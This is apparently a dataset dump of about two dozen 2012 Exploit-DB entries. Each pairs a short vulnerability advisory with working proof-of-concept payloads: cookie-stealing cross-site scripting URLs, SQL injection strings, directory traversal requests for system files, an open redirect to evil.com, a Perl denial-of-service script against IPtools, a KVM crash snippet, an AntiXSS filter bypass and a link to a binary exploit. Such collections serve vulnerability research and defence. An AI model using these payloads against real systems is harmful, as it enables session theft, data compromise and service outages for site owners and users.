QLWD/code_shield huggingface dataset:
标题: PHP-Fusion 7.2.4 - 'downloads.php' Cross-Site Scripting EDB-ID: 36541 CVE: 2012-6043 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/51365/info

PHP-Fusion is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PHP-Fusion 7.02.04 is vulnerable; other versions may also be affected. 

http://www.example.com/[Path]/downloads.php?cat_id=[Xss] URL: https://www.exploit-db.com/exploits/36541
标题: WordPress Plugin Age Verification 0.4 - 'redirect_to' Open Redirection EDB-ID: 36540 CVE: 2012-6499 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/51357/info

WordPress Age Verification plugin is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

WordPress Age Verification plugin 0.4 and prior versions are vulnerable. 

http://www.example.com/wp-content/plugins/age-verification/age-verification.php?redirect_to=http%3A%2F%2Fwww.evil.com URL: https://www.exploit-db.com/exploits/36540
标题: GreenBrowser 6.0.1002 - Search Bar Short Cut Button Double-Free Remote Memory Corruption EDB-ID: 36546 CVE: 2012-6041 类型: REMOTE 平台: WINDOWS 发布日期: 2012-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/51393/info

GreenBrowser is prone to a remote use-after-free memory-corruption vulnerability.

Successfully exploiting this issue may allow attackers to execute arbitrary code in the context of the application. Failed exploit attempts will result in denial-of-service conditions.

GreenBrowser 6.0.1002 and prior versions are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36546.rar URL: https://www.exploit-db.com/exploits/36546
标题: KnowledgeTree 3.x - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36543 CVE: 2012-0988 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51373/info

KnowledgeTree is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

KnowledgeTree 3.7.0.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/login.php/%22onmouseover=alert%28document.cookie%29;%3E
http://www.example.com/admin.php/%22onmouseover=alert%28document.cookie%29;%3E
http://www.example.com/admin.php/%22onmouseover=alert%28document.cookie%29;%3E
http://www.example.com/preferences.php/%22onmouseover=alert%28document.cookie%29;%3E URL: https://www.exploit-db.com/exploits/36543
标题: Marinet CMS - 'gallery.php?id' SQL Injection EDB-ID: 36536 CVE: 2012-6529 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/51336/info
  
Marinet CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
http://www.example.com/gallery.php?photoid=1&id=[SQLi] URL: https://www.exploit-db.com/exploits/36536
标题: Marinet CMS - 'room2.php?roomid' SQL Injection EDB-ID: 36534 CVE: 2012-6529 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/51336/info

Marinet CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/room2.php?roomid=[SQLi] URL: https://www.exploit-db.com/exploits/36534
标题: Advanced File Management 1.4 - 'users.php' Cross-Site Scripting EDB-ID: 36539 CVE: 2012-6040 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/51339/info

Advanced File Management is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Advanced File Management 1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/users.php?page=[xss] URL: https://www.exploit-db.com/exploits/36539
标题: Marinet CMS - 'galleryphoto.php?id' SQL Injection EDB-ID: 36535 CVE: 2012-6529 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/51336/info
 
Marinet CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
 http://www.example.com/galleryphoto.php?id=[SQLi] URL: https://www.exploit-db.com/exploits/36535
标题: Linux Kernel 3.1.8 - KVM Local Denial of Service EDB-ID: 36545 CVE: 2012-0045 类型: DOS 平台: LINUX 发布日期: 2011-12-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/51389/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause the kernel to crash, denying service to legitimate users.

NOTE: This issue affects Linux kernels running as guest images. 

[bits 32]
global _start
SECTION .text
_start: syscall URL: https://www.exploit-db.com/exploits/36545
标题: Clipbucket 2.6 - 'search_result.php?query' Cross-Site Scripting EDB-ID: 36527 CVE: 2012-6644 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/51321/info
   
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
ClipBucket 2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/search_result.php?query=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&submit=Search&type= URL: https://www.exploit-db.com/exploits/36527
标题: Clipbucket 2.6 - 'channels.php?time' SQL Injection EDB-ID: 36532 CVE: 2012-6643 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/51321/info
        
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
        
ClipBucket 2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/channels.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27 URL: https://www.exploit-db.com/exploits/36532
标题: Clipbucket 2.6 - 'view_collection.php?type' Cross-Site Scripting EDB-ID: 36529 CVE: 2012-6644 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/51321/info
     
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
ClipBucket 2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/view_collection.php?cid=9&type=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E URL: https://www.exploit-db.com/exploits/36529
标题: Clipbucket 2.6 - 'videos.php?cat' Cross-Site Scripting EDB-ID: 36528 CVE: 2012-6644 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/51321/info
    
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
ClipBucket 2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/videos.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time URL: https://www.exploit-db.com/exploits/36528
标题: Clipbucket 2.6 - 'view_item.php?type' Cross-Site Scripting EDB-ID: 36530 CVE: 2012-6644 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/51321/info
      
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
ClipBucket 2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/view_item.php?collection=9&item=KWSWG7S983SY&type=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E URL: https://www.exploit-db.com/exploits/36530
标题: Clipbucket 2.6 - 'collections.php?cat' Cross-Site Scripting EDB-ID: 36525 CVE: 2012-6644 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/51321/info
 
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
ClipBucket 2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/collections.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time URL: https://www.exploit-db.com/exploits/36525
标题: Clipbucket 2.6 - 'channels.php?cat' Cross-Site Scripting EDB-ID: 36524 CVE: 2012-6644 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/51321/info

ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ClipBucket 2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/channels.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time URL: https://www.exploit-db.com/exploits/36524
标题: Atar2b CMS 4.0.1 - 'pageH.php?id' SQL Injection EDB-ID: 36522 CVE: 2012-5292 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/51317/info
 
Atar2b CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Atar2b CMS 4.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/pageE.php?id=118+order+by+10-- URL: https://www.exploit-db.com/exploits/36522
标题: Clipbucket 2.6 - 'groups.php?cat' Cross-Site Scripting EDB-ID: 36526 CVE: 2012-6644 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/51321/info
  
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
ClipBucket 2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/groups.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time URL: https://www.exploit-db.com/exploits/36526
标题: Clipbucket 2.6 - 'videos.php?time' SQL Injection EDB-ID: 36531 CVE: 2012-6643 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/51321/info
       
ClipBucket is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
       
ClipBucket 2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27 URL: https://www.exploit-db.com/exploits/36531
标题: Atar2b CMS 4.0.1 - 'pageE.php?id' SQL Injection EDB-ID: 36523 CVE: 2012-5292 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/51317/info
  
Atar2b CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Atar2b CMS 4.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/pageH.php?id=104' URL: https://www.exploit-db.com/exploits/36523
标题: Atar2b CMS 4.0.1 - 'gallery_e.php?id' SQL Injection EDB-ID: 36521 CVE: 2012-5292 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/51317/info

Atar2b CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Atar2b CMS 4.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/gallery_e.php?id=118+order+by+10-- URL: https://www.exploit-db.com/exploits/36521
标题: IpTools 0.1.4 - Tiny TCP/IP servers Directory Traversal EDB-ID: 36513 CVE: 2012-5344 类型: REMOTE 平台: WINDOWS 发布日期: 2012-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/51311/info

IpTools Tiny TCP/IP servers is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks.

IpTools Tiny TCP/IP servers 0.1.4 is vulnerable; other versions may also be affected.

http://www.example.com/..\..\boot.ini
http://www.example.com/../../boot.ini
http://www.example.com/..\..\windows\system32\drivers\etc\hosts
http://www.example.com/../../windows/system32/drivers/etc/hosts URL: https://www.exploit-db.com/exploits/36513
标题: SQLiteManager 1.2.4 - 'main.php?dbsel' Cross-Site Scripting EDB-ID: 36509 CVE: 2012-5105 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/51294/info

SQLiteManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

SQLiteManager 1.2.4 is vulnerable; other versions may also be affected. 

http://www.example.com/sqlite/main.php?dbsel=&#039;"</script><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/36509
标题: SQLiteManager 1.2.4 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 36510 CVE: 2012-5105 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/51294/info
 
SQLiteManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
SQLiteManager 1.2.4 is vulnerable; other versions may also be affected. 

IE-only
http://www.example.com/sqlite/?nsextt=" stYle="x:expre/**/ssion(alert(document.cookie))
http://www.example.com/sqlite/index.php?dbsel=" stYle="x:expre/**/ssion(alert(document.cookie))
http://www.example.com/sqlite/index.php?nsextt=" stYle="x:expre/**/ssion(alert(document.cookie)) URL: https://www.exploit-db.com/exploits/36510
标题: IPtools 0.1.4 - Remote Buffer Overflow EDB-ID: 36514 CVE: 2012-5345 类型: REMOTE 平台: WINDOWS 发布日期: 2012-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/51312/info

IPtools is prone to a remote buffer-overflow vulnerability because it fails to bounds-check user-supplied input before copying it into an insufficiently sized memory buffer.

Exploiting this vulnerability may allow remote attackers to execute arbitrary code in the context of the affected device. Failed exploit attempts will result in a denial-of-service condition.

IPtools 0.1.4 is vulnerable; other versions may also be affected. 

Title: IpTools(Tiny TCP/IP server) - Rcmd Remote Overflow Vulnerability

Software : IpTools(Tiny TCP/IP server)

Software Version : 0.1.4

Vendor: http://iptools.sourceforge.net/iptools.html

Class: Boundary Condition Error

CVE:

Remote: Yes

Local: No

Published: 2012-01-07

Updated:

Impact : High

Bug Description :
IPtools is a set of small tiny TCP/IP programs includes Remote command server(not a telnet server, Executable file: Rcmd.bat), etc.
And the remote command server would bind tcp port 23, but it does not validate the command input size leading to a Denial Of Service
flaw while sending more than 255 characters to it.

POC:
#-------------------------------------------------------------
#!/usr/bin/perl -w
#IpTools(0.1.4) - Rcmd Remote Crash PoC by demonalex (at) 163 (dot) com [email concealed]
#-------------------------------------------------------------
use IO::Socket;
$remote_host = '127.0.0.1'; #victim ip as your wish
$remote_port = 23; #rcmd default port number
$sock = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port,
Timeout => 60) || die "$remote_host -> $remote_port is closed!\n";
$sock->recv($content, 1000, 0);
$count=0;
while($count<=255){
$sock->send("a", 0);
$count++;
}
$sock->send("\r\n", 0);
$sock->recv($content, 1000, 0);
$sock->shutdown(2);
exit(1);
#-------------------------------------------------------------

Credits : This vulnerability was discovered by demonalex (at) 163 (dot) com [email concealed]
mail: demonalex (at) 163 (dot) com [email concealed] / ChaoYi.Huang (at) connect.polyu (dot) hk [email concealed]
Pentester/Researcher
Dark2S Security Team/PolyU.HK URL: https://www.exploit-db.com/exploits/36514
标题: Microsoft AntiXSS 3/4.0 Library Sanitization Module - Security Bypass EDB-ID: 36507 CVE: 2012-0007 类型: REMOTE 平台: WINDOWS 发布日期: 2012-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/51291/info

Microsoft Anti-Cross Site Scripting (AntiXSS) Library is prone to a security-bypass vulnerability that affects the sanitization module.

An attacker can exploit this vulnerability to bypass the filter and conduct cross-site scripting attacks. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials.

Microsoft Anti-Cross Site Scripting Library 3.x and 4.0 are vulnerable.

string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div>");

string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style="">aaa</div>") URL: https://www.exploit-db.com/exploits/36507
标题: VertrigoServ 2.25 - 'extensions.php' Script Cross-Site Scripting EDB-ID: 36508 CVE: 2012-5102 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/51293/info

VertrigoServ is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

VertrigoServ 2.25 is vulnerable; other versions may also be affected. 

http://www.example.com/inc/extensions.php?mode=extensions&ext=&#039;"</script><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/36508